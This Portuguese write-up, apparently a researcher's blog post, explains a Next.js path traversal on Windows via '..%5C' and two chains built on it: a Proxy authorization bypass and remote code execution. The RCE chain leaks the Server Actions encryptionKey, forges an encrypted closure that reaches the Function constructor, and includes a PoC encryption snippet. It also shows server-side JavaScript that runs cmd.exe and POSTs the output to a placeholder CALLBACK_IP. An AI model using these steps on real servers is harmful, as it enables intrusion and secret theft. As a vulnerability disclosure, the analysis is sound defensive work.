contents [03]
Sumário
Next.js publicou a CVE-2026-75604 para uma falha no FileSystemCache em servidores Windows self-hosted.
Ao chegar ao cache, %5C havia sido decodificado para \. No Windows, essa barra é um separador de diretório. Uma chave de cache com ..\ podia então escapar do diretório esperado e fazer o Next.js ler ou gravar outros arquivos dentro de .next/server.
Essa primitiva permitia pelo menos duas cadeias de impacto: bypass de autorização do Proxy e RCE.
Cadeia Proxy Bypass
A cadeia de bypass ajuda a entender a falha base:
- O Proxy protege uma rota, por exemplo
/premium. - O atacante requisita
/posts/..%5Cpremium. - O Proxy trata essa URL como uma rota diferente de
/premium. - No Windows, o
FileSystemCacheinterpreta..\como navegação entre diretórios. - A chave acaba apontando para o artefato estático de
/premium. - O cache devolve o conteúdo protegido sem passar pela regra correta do Proxy.
A falha só funciona no Windows porque nele \ é um separador de diretório. No Linux e no macOS, \ é apenas um caractere comum no nome do arquivo.
Cadeia RCE
Para entender a cadeia RCE, precisamos de quatro conceitos do Next.js:
- ISR (Incremental Static Regeneration): gera páginas estáticas sob demanda e mantém seus artefatos no cache em disco.
- Pages Router: sistema antigo, baseado em
pages/. Cada página ISR gera dinamicamente um par de arquivos.htmle.json. - App Router: sistema mais novo, baseado em
app/, React Server Components e Server Actions. Seu cache usa arquivos.html,.rsce.meta. server-reference-manifest.json: manifesto privado que contém os IDs das Server Actions e aencryptionKey.
Os dois routers usam formatos diferentes:
Pages Router: <chave>.html + <chave>.json
App Router: <chave>.html + <chave>.rsc + <chave>.meta
A presença dos dois routers é essencial porque cada um fornece uma parte da cadeia.
Primeiro, o atacante requisita uma rota ISR do App Router com traversal:
GET /app-cache/..%5C..%5Cserver-reference-manifest
O App Router não encontra essa entrada no cache, renderiza a página e grava novos artefatos. O destino normal seria .next/server/app/app-cache/<rota>. No Windows, os segmentos ..\ fazem o caminho subir dois diretórios, alterando o destino para:
.next/server/server-reference-manifest.html
.next/server/server-reference-manifest.rsc
.next/server/server-reference-manifest.meta
O manifesto privado com o secret encryptionKey já estava no mesmo diretório:
.next/server/server-reference-manifest.json
O App Router não sobrescreve esse JSON, pois seu formato de cache usa RSC. Ele apenas cria um .html com o mesmo nome-base.
Depois, o atacante faz uma requisição de dados pelo Pages Router, novamente usando traversal. O cache do Pages Router procura automaticamente um par de .html e .json que condiz com o nome da pagina solicitada server-reference-manifest :
server-reference-manifest.html
server-reference-manifest.json
O .html criado pelo App Router anterior faz essa combinação parecer uma página ISR válida. O Pages Router interpreta o manifesto privado contendo o secret como se fosse os dados JSON da página e o devolve ao atacante.
Agora o atacante possui os IDs das Server Actions e a encryptionKey.
Da chave ao RCE
Uma Server Action pode usar valores definidos fora de sua função. Esses valores são capturados pela closure:
const messageFactory = createSafeMessage
async function runMessageFactory(formData) {
'use server'
const createMessage = await messageFactory(formData.get('value'))
return createMessage()
}
A action usa messageFactory, embora ele tenha sido definido fora dela. Como a action será executada depois por uma requisição HTTP, o Next.js serializa esse valor, cifra com a encryptionKey e o inclui nos campos internos do formulário.
- A closure, neste caso, é o contexto que mantém acessível a variável externa
messageFactory, que referencia a função legítimacreateSafeMessage. Com aencryptionKey, o atacante consegue falsificar esse valor capturado, substituí-lo pelo construtorFunctione fazer a action chamar uma função arbitrária.
A chave impede que o cliente altere os valores capturados. Quando ela vaza, o atacante pode criar uma closure cifrada que o servidor aceita como legítima.
Este é o payload RSC/Flight usado no exploit:
1:{}
0:["$1:constructor:constructor"]
No PoC, ele é construído e cifrado assim:
flight = b'1:{}\n0:["$1:constructor:constructor"]\n'
plaintext = action_id.encode() + flight
ciphertext = AESGCM(encryption_key).encrypt(iv, plaintext, None)
A referência constructor:constructor alcança o construtor JavaScript Function durante a desserialização. A função legítima capturada é substituída:
messageFactory = Function
Na prática, a action passa a executar:
const createMessage = Function(formData.get('value'))
return createMessage()
O campo controlado pelo atacante vira o corpo de uma função JavaScript. Quando a action chama createMessage(), o código é executado no servidor.
No exploit, o valor cifrado da closure é forjado para referenciar o construtor Function. O código passado a esse construtor e executado no servidor equivale ao seguinte:
const cp = process.mainModule.require("node:child_process");
const http = process.mainModule.require("node:http");
const output = cp.execFileSync(
"cmd.exe",
["/d", "/s", "/c", "whoami"],
{ encoding: "utf8" }
);
const body = String(output);
const request = http.request({
host: "CALLBACK_IP",
port: 4331,
path: "/result/TOKEN",
method: "POST",
headers: {
"Content-Type": "text/plain",
"Content-Length": Buffer.byteLength(body)
}
}, () => {});
request.on("error", () => {});
request.end(body);
return body;
A causa raiz compartilhada desta falha que é o path traversal utilizando
..%5Cno Windows foi reportada inicialmente dia 21/07 por mim ao programa da Vercel na Hackerone, minutos após o meu report outro pesquisador também reportou a falha no mesmo dia, apresentando a cadeia de RCE, contudo, até o momento de hoje (27/08) meu report permanece sem resposta da triagem da Hackerone, enquanto o segundo report recebeu os créditos embora tenha sido posterior (??).

